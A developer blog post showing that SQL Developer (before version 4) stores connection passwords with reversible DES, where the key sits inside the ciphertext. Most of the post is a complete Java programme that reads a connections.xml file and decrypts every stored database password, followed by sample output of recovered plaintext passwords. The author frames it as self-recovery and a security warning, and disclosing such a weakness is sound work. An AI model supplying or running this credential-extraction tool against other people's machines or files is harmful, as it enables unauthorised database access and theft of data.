SQL Developer’s “Securely” Encrypted Passwords
Recently, while at one of our customers’ site, the customer and I needed to get access to a database. On my machine, I had stored the password, but the customer obviously didn’t want to rely on my machine, and the password itself is hashed, so we couldn’t guess it. But guess what? Yes we can! I googled a bit, and incredibly, I found instructions to write the following little utility programme, which I’m licensing to you under the terms of the ASL 2.0:
DISCLAIMER: This program is BY NO MEANS intended for you to do any harm. You could have found this information anywhere else on the web. Please use this ONLY to recover your own “lost” passwords. Like I did.
Note also, this only works with SQL Developer versions less than 4.
import java.io.File; import java.security.GeneralSecurityException; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.xpath.XPath; import javax.xml.xpath.XPathConstants; import javax.xml.xpath.XPathExpression; import javax.xml.xpath.XPathFactory; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NodeList; public class SQLDeveloperDecrypter { public static void main(String[] args) throws Exception { if (args.length == 0) { System.err.println(" Usage 1: " + SQLDeveloperDecrypter.class.getName() + " 0501F83890..... (a single encrypted password)"); System.err.println(" Usage 2: " + SQLDeveloperDecrypter.class.getName() + " C:\\Users\\...... (the path to the connections.xml file)"); System.err.println(); System.err.println(" Pass the password hash code from your connections.xml file. The file might be located at (example)"); System.err.println(" C:\\Users\\[User]\\AppData\\Roaming\\SQL Developer\\system2.1.1.64.45\\o.jdeveloper.db.connection.11.1.1.2.36.55.30"); System.exit(-1); } if (args[0].startsWith("05")) { System.out.println(decryptPassword(args[0])); } else { File file = new File(args[0]); if (file.isDirectory()) file = new File(file, "connections.xml"); DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(file.toURI().toString()); // The relevant structure is: // // <Reference name="connection name"> // <RefAddresses> // <StringRefAddr addrType="password"> // <Contents>057D3DE2... XPathFactory xPathfactory = XPathFactory.newInstance(); XPath xpath = xPathfactory.newXPath(); XPathExpression expr = xpath.compile("//StringRefAddr[@addrType='password']/Contents"); NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET); for (int i = 0; i < nodes.getLength(); i++) { Element e = (Element) nodes.item(i); System.out.println("Connection name : " + ((Element) e.getParentNode().getParentNode().getParentNode()).getAttribute("name") ); System.out.println("Password (encrypted): " + e.getTextContent() ); System.out.println("Password (decrypted): " + decryptPassword(e.getTextContent()) ); System.out.println(); } } } // From: http://stackoverflow.com/a/140861 public static byte[] hexStringToByteArray(String s) { int len = s.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16)); } return data; } // From: http://stackoverflow.com/a/3109774 public static String decryptPassword(String result) throws GeneralSecurityException { return new String(decryptPassword(hexStringToByteArray(result))); } public static byte[] decryptPassword(byte[] result) throws GeneralSecurityException { byte constant = result[0]; if (constant != 5) { throw new IllegalArgumentException(); } byte[] secretKey = new byte[8]; System.arraycopy(result, 1, secretKey, 0, 8); byte[] encryptedPassword = new byte[result.length - 9]; System.arraycopy(result, 9, encryptedPassword, 0, encryptedPassword.length); byte[] iv = new byte[8]; for (int i = 0; i < iv.length; i++) { iv[i] = 0; } Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(secretKey, "DES"), new IvParameterSpec(iv)); return cipher.doFinal(encryptedPassword); } }
Parts of the source code were borrowed, from here and here. In other words, virtually any hacker could’ve come up with the above programme. And the output? This:
Connection name : SAKILA Password (encrypted): 0517CB1A41E3C2CC3A3163234A6A8E92F8 Password (decrypted): SAKILA Connection name : TEST Password (encrypted): 05B03F45511F83F6CD4D322C9E173B5A94 Password (decrypted): TEST
Wonderful! All the passwords on my machine are now recovered in constant time (no brute force).
Does this make you think? I hope that your DBA doesn’t store their passwords in SQL Developer. On a laptop. Which they forget in the train. With access to your customers’ credit card information.
In the meantime, though, I’m glad I could recover the “lost” password for my client!
Reference: | SQL Developer’s “Securely” Encrypted Passwords from our JCG partner Lukas Eder at the JAVA, SQL, AND JOOQ blog. |